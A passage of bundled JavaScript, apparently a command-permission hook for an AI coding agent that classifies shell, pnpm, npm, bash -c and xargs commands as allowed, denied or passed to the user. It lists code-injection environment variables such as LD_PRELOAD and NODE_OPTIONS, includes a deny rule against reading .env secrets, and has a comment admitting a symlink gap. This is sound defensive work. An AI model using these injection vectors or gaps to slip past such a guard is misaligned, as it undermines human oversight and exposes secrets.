`settings.ts` needs it and `script-resolver.ts` needs `settings.ts`,\n* which is a cycle the health gate reports.\n*/\nfunction findWorkspaceRoot(cwd) {\n let dir = resolve(cwd);\n while (true) {\n if (existsSync(join(dir, \"pnpm-workspace.yaml\"))) return dir;\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n//#endregion\n//#region src/lib/settings.ts\nconst SETTINGS_PATH = \".claude/hooks/bst-hook.settings.json\";\nconst BstHookSettingsSchema = object({\n allow: array(string().min(1)).default([]),\n protectedBranches: array(string().min(1)).default([])\n});\n/**\n* Check whether a file at `relativePath` inside `cwd` is tracked and\n* unmodified in git (no staged or unstaged changes vs HEAD).\n*\n* Returns false on any error -- safe default is to not trust the file.\n*/\nfunction isFileClean(cwd, relativePath) {\n try {\n execFileSync(\"git\", [\n \"ls-files\",\n \"--error-unmatch\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n execFileSync(\"git\", [\n \"diff\",\n \"--quiet\",\n \"HEAD\",\n \"--\",\n relativePath\n ], {\n cwd,\n stdio: \"ignore\"\n });\n return true;\n } catch {\n return false;\n }\n}\n/**\n* Load repo-level settings from `.claude/hooks/bst-hook.settings.json`.\n*\n* Walks up from `cwd` to find the workspace root (or uses `cwd` directly),\n* reads the settings file, validates it, and checks that the file is\n* git-tracked and unmodified before trusting it.\n*\n* Returns `{ allow: [], protectedBranches: [] }` if the file is missing,\n* invalid, or untrusted.\n*/\nfunction loadRepoSettings(cwd) {\n const root = findWorkspaceRoot(cwd) ?? cwd;\n const settingsFile = join(root, SETTINGS_PATH);\n const empty = {\n allow: [],\n protectedBranches: []\n };\n if (!existsSync(settingsFile)) return empty;\n if (!isFileClean(root, SETTINGS_PATH)) return empty;\n try {\n const raw = readFileSync(settingsFile, \"utf-8\");\n const parsed = JSON.parse(raw);\n const result = BstHookSettingsSchema.safeParse(parsed);\n if (!result.success) return empty;\n return {\n allow: result.data.allow,\n protectedBranches: result.data.protectedBranches\n };\n } catch {\n return empty;\n }\n}\n/**\n* Check whether a command matches a repo-level allow pattern.\n*\n* Pattern format: `\"<command> [arg1] [arg2] ...\"`\n* - First token is matched exactly against the command basename\n* - Remaining tokens (if any) must match positionally as prefixes of the actual arguments\n*\n* Examples:\n* - `\"tooling\"` matches `tooling repo:sync --yes`\n* - `\"node packages/foo/dist/bin.mjs\"` matches `node packages/foo/dist/bin.mjs run`\n* - `\"node packages/foo/dist/bin.mjs\"` does NOT match `node packages/bar/dist/bin.mjs`\n*/\nfunction matchesRepoPattern(cmdName, tokens, pattern) {\n const parts = pattern.split(/\\s+/).filter(Boolean);\n if (parts.length === 0) return false;\n if (parts[0] !== cmdName) return false;\n const patternArgs = parts.slice(1);\n const actualArgs = tokens.slice(1);\n for (let i = 0; i < patternArgs.length; i++) {\n if (i >= actualArgs.length) return false;\n if (actualArgs[i] !== patternArgs[i]) return false;\n }\n return true;\n}\n\n//#endregion\n//#region src/lib/script-resolver.ts\nconst PackageJsonSchema = object({ scripts: record(string(), unknown()) });\n/**\n* Resolve a pnpm script name to its actual command(s) by reading package.json.\n*\n* Returns null if the script cannot be resolved (missing package.json,\n* missing script name, parse error).\n*/\nfunction resolveScript(scriptName, cwd) {\n const scripts = readScripts(cwd);\n if (!scripts) return null;\n const main = scripts[scriptName];\n if (typeof main !== \"string\") return null;\n const pre = scripts[`pre${scriptName}`];\n const post = scripts[`post${scriptName}`];\n return {\n pre: typeof pre === \"string\" ? pre : null,\n main,\n post: typeof post === \"string\" ? post : null\n };\n}\n/**\n* Resolve a script in a specific workspace package identified by --filter.\n*\n* Reads pnpm-workspace.yaml, scans workspace directories to match filterPkg\n* against package.json#name fields, then resolves the script in that package's directory.\n*\n* Returns null if the package or script cannot be resolved.\n*/\nfunction resolveFilteredScript(scriptName, filterPkg, cwd) {\n const pkgDir = findWorkspacePackageDir(filterPkg, cwd);\n if (!pkgDir) return null;\n const script = resolveScript(scriptName, pkgDir);\n if (!script) return null;\n return {\n ...script,\n pkgDir\n };\n}\n/**\n* Resolve a script name across all workspace packages (for `pnpm -r <script>`).\n*\n* Returns an array of resolved scripts (one per workspace package that defines the script),\n* each with a `pkgDir` field. Returns null if workspace patterns can't be read.\n* Packages that don't define the script are silently skipped.\n*/\nfunction resolveRecursiveScripts(scriptName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n const results = [];\n for (const pkgDir of pkgDirs) {\n const resolved = resolveScript(scriptName, pkgDir);\n if (resolved) results.push({\n ...resolved,\n pkgDir\n });\n }\n return results;\n}\n/**\n* List all workspace package directories.\n*/\nfunction listWorkspacePackageDirs(rootDir) {\n const patterns = readWorkspacePatterns(rootDir);\n if (!patterns) return null;\n const dirs = [];\n for (const pattern of patterns) {\n if (!pattern.endsWith(\"/*\")) continue;\n const parentDir = resolve(rootDir, pattern.slice(0, -2));\n let entries;\n try {\n entries = readdirSync(parentDir);\n } catch {\n continue;\n }\n for (const entry of entries) {\n const entryDir = join(parentDir, entry);\n try {\n if (!statSync(entryDir).isDirectory()) continue;\n } catch {\n continue;\n }\n dirs.push(entryDir);\n }\n }\n return dirs.length > 0 ? dirs : null;\n}\n/**\n* Find the directory of a workspace package by name.\n* Reads pnpm-workspace.yaml for glob patterns, then scans matching directories.\n*/\nfunction findWorkspacePackageDir(pkgName, rootDir) {\n const pkgDirs = listWorkspacePackageDirs(rootDir);\n if (!pkgDirs) return null;\n for (const entryDir of pkgDirs) {\n const name = readPackageName(entryDir);\n if (name === pkgName || name === `@${pkgName}`) return entryDir;\n if (entryDir.split(\"/\").pop() === pkgName) return entryDir;\n if (name) {\n if ((name.startsWith(\"@\") ? name.split(\"/\")[1] : name) === pkgName) return entryDir;\n }\n }\n return null;\n}\n/**\n* Read workspace glob patterns from pnpm-workspace.yaml.\n*/\nfunction readWorkspacePatterns(rootDir) {\n try {\n const lines = readFileSync(join(rootDir, \"pnpm-workspace.yaml\"), \"utf-8\").split(\"\\n\");\n const packagesIdx = lines.findIndex((l) => /^packages\\s*:/.test(l));\n if (packagesIdx === -1) return null;\n const patterns = [];\n for (let i = packagesIdx + 1; i < lines.length; i++) {\n const line = lines[i];\n const match = /^\\s+-\\s+(.+)$/.exec(line);\n if (!match) break;\n patterns.push(match[1].trim().replace(/['\"`]/g, \"\"));\n }\n return patterns.length > 0 ? patterns : null;\n } catch {\n return null;\n }\n}\nconst PackageNameSchema = object({ name: string() });\n/**\n* Read the name field from package.json in the given directory.\n*/\nfunction readPackageName(dir) {\n try {\n const raw = readFileSync(join(dir, \"package.json\"), \"utf-8\");\n const result = PackageNameSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.name;\n } catch {\n return null;\n }\n}\n/**\n* Read the scripts field from package.json in the given directory.\n* Returns null on any failure (missing file, parse error, no scripts field).\n*/\nfunction readScripts(cwd) {\n try {\n const raw = readFileSync(join(cwd, \"package.json\"), \"utf-8\");\n const result = PackageJsonSchema.safeParse(JSON.parse(raw));\n if (!result.success) return null;\n return result.data.scripts;\n } catch {\n return null;\n }\n}\n/**\n* Check whether the package.json in the given directory is clean in git\n* (no staged or unstaged changes compared to HEAD).\n*\n* Returns true only when the file is tracked and unmodified. Returns false\n* on any error (not a git repo, untracked file, no HEAD, etc.) -- safe default\n* is to not trust the scripts.\n*/\nfunction isPackageJsonClean(pkgDir) {\n return isFileClean(pkgDir, \"package.json\");\n}\n\n//#endregion\n//#region src/evaluate.ts\nconst MAX_EVAL_DEPTH = 5;\n/** Environment variables that enable code injection */\nconst DANGEROUS_ENV_VARS = /* @__PURE__ */ new Set([\n \"LD_PRELOAD\",\n \"LD_LIBRARY_PATH\",\n \"DYLD_INSERT_LIBRARIES\",\n \"NODE_OPTIONS\",\n \"PYTHONPATH\",\n \"PYTHONSTARTUP\",\n \"PERL5OPT\",\n \"PERL5LIB\",\n \"RUBYOPT\",\n \"RUBYLIB\",\n \"BASH_ENV\",\n \"ENV\",\n \"npm_config_prefix\",\n \"npm_config_registry\",\n \"EDITOR\",\n \"VISUAL\"\n]);\n/** Git config env vars use prefix matching */\nconst DANGEROUS_GIT_ENV_PREFIXES = [\n \"GIT_CONFIG_\",\n \"GIT_PAGER\",\n \"GIT_SSH_COMMAND\",\n \"GIT_EDITOR\",\n \"GIT_EXEC_PATH\"\n];\nfunction isDangerousEnvVar(name) {\n if (DANGEROUS_ENV_VARS.has(name)) return true;\n return DANGEROUS_GIT_ENV_PREFIXES.some((prefix) => name.startsWith(prefix));\n}\n/**\n* Extract the target directory from a `cd <dir>` segment.\n* Returns the resolved absolute path, or null if the segment isn't a simple `cd`.\n*/\nfunction extractCdDir(segment, ctx) {\n const tokenResult = tokenize(segment);\n if (!tokenResult.ok || tokenResult.tokens.length !== 2) return null;\n const tokens = tokenResult.tokens;\n if (tokens[0] !== \"cd\") return null;\n const dir = tokens[1];\n if (path.isAbsolute(dir)) return dir;\n return path.resolve(ctx.cwd, dir);\n}\n/**\n* Evaluate a full command string. Splits on operators and evaluates each segment.\n*\n* This is the single reentrant entry point. Called at depth 0 for top-level\n* commands and at depth 1+ for derived commands (resolved scripts, exec tails, etc.).\n*/\nfunction evaluateCommand(command, ctx) {\n if (ctx.depth >= MAX_EVAL_DEPTH) return {\n action: \"passthrough\",\n rule: null,\n reason: \"max evaluation depth exceeded\"\n };\n const trimmed = command.trim();\n if (!trimmed) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const segments = splitCommand(trimmed);\n if (segments.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let firstPassthrough = null;\n let lastAllow = null;\n const currentCtx = { ...ctx };\n for (const segment of segments) {\n if (segment.operator === \"&&\") {\n const cdDir = extractCdDir(segment.command, currentCtx);\n if (cdDir) currentCtx.cwd = cdDir;\n }\n const result = evaluateSegment(segment.command, currentCtx);\n if (result.action === \"deny\") return result;\n if (result.action === \"passthrough\") {\n if (!firstPassthrough) firstPassthrough = result;\n }\n if (result.action === \"allow\") lastAllow = result;\n }\n if (firstPassthrough) return firstPassthrough;\n if (segments.length === 1 && lastAllow) return lastAllow;\n return {\n action: \"allow\",\n rule: \"all-segments\",\n reason: null\n };\n}\n/**\n* Helper to evaluate a resolved script with its pre and post hooks.\n*\n* When the source package.json is clean in git, sets `insideResolvedScript`\n* on the context so downstream evaluation trusts file redirects and\n* unmatched commands (user-authored scripts). Deny rules still apply.\n*/\nfunction evaluateResolvedScript(resolved, ctx) {\n const pkgDir = resolved.pkgDir ?? ctx.cwd;\n const innerCtx = ctx.insideResolvedScript ?? isPackageJsonClean(pkgDir) ? {\n ...ctx,\n insideResolvedScript: true\n } : ctx;\n if (resolved.pre) {\n const preResult = evaluateCommand(resolved.pre, innerCtx);\n if (preResult.action !== \"allow\") return preResult;\n }\n const mainResult = evaluateCommand(resolved.main, innerCtx);\n if (mainResult.action !== \"allow\") return mainResult;\n if (resolved.post) {\n const postResult = evaluateCommand(resolved.post, innerCtx);\n if (postResult.action !== \"allow\") return postResult;\n }\n return \"allow\";\n}\n/**\n* Evaluate a single command segment (no operators).\n* May recurse into evaluateCommand() for indirection constructs.\n*/\nfunction evaluateSegment(rawSegment, ctx) {\n const trimmed = rawSegment.trim();\n if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"subshell\"\n };\n const tokenResult = tokenize(rawSegment);\n if (!tokenResult.ok) return {\n action: \"passthrough\",\n rule: null,\n reason: tokenResult.error\n };\n let tokens = tokenResult.tokens;\n if (tokens.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n let envSkipped = 0;\n while (envSkipped < tokens.length && /^\\w+=/.test(tokens[envSkipped])) {\n const varName = tokens[envSkipped].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envSkipped++;\n }\n if (envSkipped >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n tokens = tokens.slice(envSkipped);\n if (writesIntoNodeModules(tokens, ctx)) return {\n action: \"deny\",\n rule: \"node-modules-write\",\n reason: NODE_MODULES_WRITE_REASON\n };\n const injection = checkInjection(tokens, rawSegment, ctx.insideResolvedScript);\n if (!injection.safe) return {\n action: \"passthrough\",\n rule: null,\n reason: injection.reason\n };\n if (!ctx.insideResolvedScript) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (token === \"2>&1\" || token === \"2>/dev/null\" || token === \">/dev/null\" || token === \"1>/dev/null\") continue;\n if (token === \">\" || token === \">>\") {\n if (tokens[i + 1] === \"/dev/null\") continue;\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"output redirect to file\"\n };\n }\n if (token === \"<\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"input redirect\"\n };\n }\n const SAFE_REDIRECT_TOKENS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n ]);\n tokens = tokens.filter((t, i) => {\n if (SAFE_REDIRECT_TOKENS.has(t)) return false;\n if ((t === \">\" || t === \">>\") && tokens[i + 1] === \"/dev/null\") return false;\n if (t === \"/dev/null\" && i > 0 && (tokens[i - 1] === \">\" || tokens[i - 1] === \">>\")) return false;\n return true;\n });\n const cmdName = path.basename(tokens[0]);\n if (cmdName === \"command\" && tokens.length > 1) return evaluateCommand(joinTokens(tokens.slice(1)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (cmdName === \"env\") {\n let envIdx = 1;\n while (envIdx < tokens.length && /^\\w+=/.test(tokens[envIdx])) {\n const varName = tokens[envIdx].split(\"=\")[0];\n if (isDangerousEnvVar(varName)) return {\n action: \"passthrough\",\n rule: null,\n reason: `dangerous env var: ${varName}`\n };\n envIdx++;\n }\n if (envIdx >= tokens.length) return {\n action: \"allow\",\n rule: \"env-only\",\n reason: null\n };\n return evaluateCommand(joinTokens(tokens.slice(envIdx)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n if (cmdName === \"pnpm\") return evaluatePnpm(tokens, ctx);\n if (cmdName === \"npm\") return evaluateNpm(tokens);\n if (cmdName === \"bash\" || cmdName === \"sh\" || cmdName === \"zsh\") return evaluateShellC(tokens, ctx);\n if (cmdName === \"xargs\") return evaluateXargs(tokens, ctx);\n if (cmdName === \"node\" && (tokens.includes(\"-e\") || tokens.includes(\"-p\") || tokens.includes(\"--eval\") || tokens.includes(\"--print\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"node eval\"\n };\n for (const rule of denyRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"deny\",\n rule: rule.name,\n reason: rule.reason ?? null\n };\n }\n for (const rule of allowRules) if (rule.match.test(cmdName)) {\n if (!rule.when || rule.when(tokens, ctx)) {\n const advice = rule.advise?.(tokens, ctx);\n return {\n action: \"allow\",\n rule: rule.name,\n reason: null,\n ...advice ? { advice } : {}\n };\n }\n }\n if (ctx.repoAllowPatterns) {\n for (const pattern of ctx.repoAllowPatterns) if (matchesRepoPattern(cmdName, tokens, pattern)) return {\n action: \"allow\",\n rule: `repo:${cmdName}`,\n reason: null\n };\n }\n if (ctx.insideResolvedScript) return {\n action: \"allow\",\n rule: \"resolved-script\",\n reason: null\n };\n return {\n action: \"passthrough\",\n rule: null,\n reason: `no rule matched: ${cmdName}`\n };\n}\n/**\n* Scan pnpm subTokens starting at `from`, skipping and accumulating flags\n* (--filter / -F, -r, -w, -C, and generic --flags). Returns the first non-flag\n* token as `name`, or `undefined` if none found. Returns `\"filter\"` as a\n* sentinel when --filter is encountered (caller must handle).\n*/\nfunction scanPnpmFlags(subTokens, from, state) {\n for (let i = from; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t.startsWith(\"--filter=\") || t === \"-F\" || t.startsWith(\"-F=\")) return {\n name: void 0,\n filterIdx: i\n };\n if (t === \"-r\" || t === \"--recursive\") {\n state.isRecursive = true;\n continue;\n }\n if (t === \"-w\" || t === \"--workspace-root\") {\n state.isWorkspaceRoot = true;\n continue;\n }\n if (t === \"-C\" || t === \"--dir\") {\n state.dirOverride = subTokens[++i];\n continue;\n }\n if (t.startsWith(\"-C=\") || t.startsWith(\"--dir=\")) {\n state.dirOverride = t.split(\"=\", 2)[1];\n continue;\n }\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n return { name: t };\n }\n return { name: void 0 };\n}\n/**\n* Evaluate a pnpm command. Classifies the subcommand as built-in, exec, or script.\n* Script commands are resolved via package.json and recursively evaluated.\n*/\nfunction evaluatePnpm(tokens, ctx) {\n const subTokens = tokens.slice(1);\n const state = {\n isRecursive: false,\n isWorkspaceRoot: false,\n dirOverride: void 0\n };\n const scan = scanPnpmFlags(subTokens, 0, state);\n if (scan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, scan.filterIdx, ctx);\n const subcommand = scan.name;\n const subcommandIdx = subcommand ? subTokens.indexOf(subcommand) : -1;\n if (!subcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n if (subcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (subcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if (subcommand === \"exec\") {\n const execArgs = subTokens.slice(subcommandIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n let scriptName;\n let { isRecursive, isWorkspaceRoot, dirOverride } = state;\n if (subcommand === \"run\") {\n const runScan = scanPnpmFlags(subTokens, subcommandIdx + 1, state);\n ({isRecursive, isWorkspaceRoot, dirOverride} = state);\n if (runScan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, runScan.filterIdx, ctx);\n if (!runScan.name) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm run without script name\"\n };\n scriptName = runScan.name;\n } else if (!PNPM_BUILTINS.has(subcommand)) scriptName = subcommand;\n else {\n for (const rule of allowRules) if (rule.match.test(\"pnpm\")) {\n if (!rule.when || rule.when(tokens, ctx)) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n }\n if (isRecursive) return evaluatePnpmRecursive(scriptName, ctx);\n if (isWorkspaceRoot) {\n const root = findWorkspaceRoot(ctx.cwd);\n if (!root) return {\n action: \"passthrough\",\n rule: null,\n reason: \"workspace root not found\"\n };\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: root\n });\n }\n if (dirOverride) {\n const resolved = path.resolve(ctx.cwd, dirOverride);\n return evaluatePnpmScript(scriptName, {\n ...ctx,\n cwd: resolved\n });\n }\n return evaluatePnpmScript(scriptName, ctx);\n}\n/**\n* Resolve a pnpm script name via package.json and recursively evaluate\n* the resolved command(s) including pre/post scripts.\n*/\nfunction evaluatePnpmScript(scriptName, ctx) {\n const resolved = resolveScript(scriptName, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1\n });\n if (res !== \"allow\") return res;\n return {\n action: \"allow\",\n rule: `pnpm-script:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate `pnpm -r <script>` by resolving the script in each workspace package.\n*\n* Unlike `evaluatePnpmScript` (which resolves from the root package.json and would\n* cycle back to `pnpm -r <script>`), this resolves against each workspace package's\n* own package.json, breaking the recursion.\n*/\nfunction evaluatePnpmRecursive(scriptName, ctx) {\n const resolved = resolveRecursiveScripts(scriptName, ctx.cwd);\n if (!resolved || resolved.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm recursive\"\n };\n for (const pkg of resolved) {\n const res = evaluateResolvedScript(pkg, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: pkg.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-recursive:${scriptName}`,\n reason: null\n };\n}\n/**\n* Evaluate an npm command. Read-only ops (view/info/show) are allowed.\n* Everything else is denied with a redirect message to the pnpm equivalent.\n*/\nfunction evaluateNpm(tokens) {\n for (const rule of allowRules) if (rule.match.test(\"npm\")) {\n if (!rule.when || rule.when(tokens, {\n cwd: \"\",\n depth: 0\n })) return {\n action: \"allow\",\n rule: rule.name,\n reason: null\n };\n }\n return {\n action: \"deny\",\n rule: \"npm-redirect\",\n reason: getNpmRedirectReason(tokens)\n };\n}\n/**\n* Evaluate `pnpm --filter <pkg> [--filter <pkg> ...] <subcommand>`.\n*\n* Collects every `--filter` / `-F` flag (long, equals, and shorthand forms),\n* resolves each against pnpm-workspace.yaml, then classifies the subcommand as\n* built-in or script. Script commands are resolved and evaluated in each\n* filtered package -- all must allow.\n*\n* Falls back to passthrough if workspace resolution fails.\n*/\nfunction evaluatePnpmFilter(_tokens, subTokens, filterIdx, ctx) {\n const filterPkgs = [];\n let cursor = filterIdx;\n while (cursor < subTokens.length) {\n const t = subTokens[cursor];\n if (t === \"--filter\" || t === \"-F\") {\n const pkg = subTokens[cursor + 1];\n if (!pkg || pkg.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 2;\n } else if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) {\n const pkg = t.startsWith(\"-F=\") ? t.slice(3) : t.slice(9);\n if (!pkg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n filterPkgs.push(pkg);\n cursor += 1;\n } else break;\n }\n if (filterPkgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without package\"\n };\n let filterSubcommand;\n let subcmdIdx = -1;\n for (let i = cursor; i < subTokens.length; i++) {\n const t = subTokens[i];\n if (t === \"--filter\" || t === \"-F\") {\n i += 1;\n continue;\n }\n if (t.startsWith(\"--filter=\") || t.startsWith(\"-F=\")) continue;\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n filterSubcommand = t;\n subcmdIdx = i;\n break;\n }\n if (!filterSubcommand) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter without subcommand\"\n };\n if (filterSubcommand === \"install\" || filterSubcommand === \"i\") {\n if (!subTokens.slice(subcmdIdx + 1).every((t) => t.startsWith(\"-\"))) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter install with package arg\"\n };\n return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n }\n if (filterSubcommand === \"dlx\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm dlx\"\n };\n if (filterSubcommand === \"add\") return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm add\"\n };\n if ((/* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"licenses\",\n \"audit\"\n ])).has(filterSubcommand)) return {\n action: \"allow\",\n rule: \"pnpm\",\n reason: null\n };\n if (filterSubcommand === \"exec\") {\n const execArgs = subTokens.slice(subcmdIdx + 1);\n if (execArgs.length === 0) return {\n action: \"passthrough\",\n rule: null,\n reason: \"bare pnpm exec\"\n };\n return evaluateCommand(joinTokens(execArgs), {\n ...ctx,\n depth: ctx.depth + 1\n });\n }\n const scriptName = filterSubcommand === \"run\" ? subTokens[subcmdIdx + 1] : filterSubcommand;\n if (!scriptName || scriptName.startsWith(\"-\")) return {\n action: \"passthrough\",\n rule: null,\n reason: \"pnpm --filter run without script name\"\n };\n if (PNPM_BUILTINS.has(scriptName) && scriptName !== \"run\") return {\n action: \"passthrough\",\n rule: null,\n reason: null\n };\n for (const pkg of filterPkgs) {\n const resolved = resolveFilteredScript(scriptName, pkg, ctx.cwd);\n if (!resolved) return {\n action: \"passthrough\",\n rule: null,\n reason: \"filtered script resolution failed\"\n };\n const res = evaluateResolvedScript(resolved, {\n ...ctx,\n depth: ctx.depth + 1,\n cwd: resolved.pkgDir ?? ctx.cwd\n });\n if (res !== \"allow\") return res;\n }\n return {\n action: \"allow\",\n rule: `pnpm-filter:${filterPkgs.join(\",\")}:${scriptName}`,\n reason: null\n };\n}\n/** Flags that modify shell behavior beyond simple command execution */\nconst SHELL_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"-i\",\n \"--interactive\",\n \"-l\",\n \"--login\",\n \"--init-file\",\n \"--rcfile\",\n \"--norc\",\n \"--noprofile\",\n \"-s\",\n \"--stdin\"\n]);\n/**\n* Evaluate `bash -c` / `sh -c` / `zsh -c` commands.\n*\n* Only unwraps when the tokens are exactly: `<shell> -c <command-string>`.\n* Any additional flags, extra positional args, or missing -c -> passthrough.\n*/\nfunction evaluateShellC(tokens, ctx) {\n const cIdx = tokens.indexOf(\"-c\");\n if (cIdx === -1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell without -c\"\n };\n for (let i = 1; i < tokens.length; i++) {\n if (i === cIdx) continue;\n if (i === cIdx + 1) continue;\n const t = tokens[i];\n if (t.startsWith(\"-\") || SHELL_UNSAFE_FLAGS.has(t)) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n }\n const cmdArg = tokens[cIdx + 1];\n if (!cmdArg) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c without command\"\n };\n if (tokens.length > cIdx + 2) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with positional args\"\n };\n if (cIdx !== 1) return {\n action: \"passthrough\",\n rule: null,\n reason: \"shell -c with extra flags\"\n };\n return evaluateCommand(cmdArg, {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n/** xargs flags that consume the next token as an argument */\nconst XARGS_ARG_FLAGS = /* @__PURE__ */ new Set([\n \"-I\",\n \"-d\",\n \"-n\",\n \"-P\",\n \"-s\",\n \"-L\",\n \"-E\",\n \"-a\",\n \"--max-args\",\n \"--max-procs\",\n \"--delimiter\",\n \"--replace\",\n \"--max-lines\",\n \"--max-chars\",\n \"--arg-file\",\n \"--process-slot-var\"\n]);\n/** xargs flags that are boolean (no argument) */\nconst XARGS_BOOL_FLAGS = /* @__PURE__ */ new Set([\n \"-0\",\n \"--null\",\n \"-t\",\n \"--verbose\",\n \"-r\",\n \"--no-run-if-empty\",\n \"-p\",\n \"--interactive\",\n \"-x\",\n \"--exit\",\n \"--show-limits\"\n]);\n/**\n* Evaluate `xargs <cmd>` commands.\n*\n* Skips xargs flags to find the inner command, then recursively evaluates it.\n* Passthrough if no command follows the flags or if unrecognised flags are found.\n*/\nfunction evaluateXargs(tokens, ctx) {\n let i = 1;\n while (i < tokens.length) {\n const t = tokens[i];\n if (!t.startsWith(\"-\")) break;\n if (XARGS_ARG_FLAGS.has(t)) {\n i += 2;\n continue;\n }\n const eqIdx = t.indexOf(\"=\");\n if (eqIdx !== -1) {\n const flagName = t.slice(0, eqIdx);\n if (XARGS_ARG_FLAGS.has(flagName)) {\n i++;\n continue;\n }\n }\n if (t.length > 2 && XARGS_ARG_FLAGS.has(t.slice(0, 2))) {\n i++;\n continue;\n }\n if (XARGS_BOOL_FLAGS.has(t)) {\n i++;\n continue;\n }\n return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs with unrecognised flags\"\n };\n }\n if (i >= tokens.length) return {\n action: \"passthrough\",\n rule: null,\n reason: \"xargs without command\"\n };\n return evaluateCommand(joinTokens(tokens.slice(i)), {\n ...ctx,\n depth: ctx.depth + 1\n });\n}\n\n//#endregion\n//#region src/file-rules.ts\nconst READ_TOOLS = /* @__PURE__ */ new Set([\n \"Read\",\n \"Glob\",\n \"Grep\"\n]);\nconst WRITE_TOOLS = /* @__PURE__ */ new Set([\"Write\", \"Edit\"]);\n/**\n* The harness directs every temporary file to a per-session scratchpad under\n* the system temp directory, so denying it puts the hook at odds with the\n* prompt it ships beside.\n*\n* Matching the session id as a path segment rather than reconstructing the\n* documented full path is deliberate: the reconstruction encodes several\n* harness conventions, and when one changes it fails silently back to denying\n* every scratchpad write. The id arrives in the same payload as the path, so\n* the reach is one session's own temp tree.\n*\n* The payload schema only requires a string, so a degenerate id (empty, or a\n* couple of characters) would match as a path segment of nearly every path\n* under the temp directory and widen the allow to all of it. Real ids are\n* UUIDs; the length floor bounds the blast radius by construction rather than\n* trusting the harness to always produce one.\n*\n* `isWithin` compares lexically and does not resolve symlinks, so a symlink\n* planted inside the scratchpad pointing outside it is not caught. That\n* residual is accepted deliberately, the same as the cwd-scoped rules below --\n* the hook is a guardrail against accidents and prompt fatigue, not a sandbox.\n*/\nfunction isSessionScratch(filePath, ctx) {\n const { sessionId } = ctx;\n if (!sessionId || sessionId.length < MIN_SESSION_ID_LENGTH) return false;\n const resolved = resolveIn(ctx.cwd, filePath);\n if (!isWithin(os.tmpdir(), resolved)) return false;\n return resolved.split(path.sep).includes(sessionId);\n}\n/** Real session ids are UUIDs; see the length-floor rationale above. */\nconst MIN_SESSION_ID_LENGTH = 16;\nconst fileDenyRules = [\n {\n name: \"env-file-read\",\n tools: READ_TOOLS,\n action: \"deny\",\n when: (filePath) => isEnvFile(filePath),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: 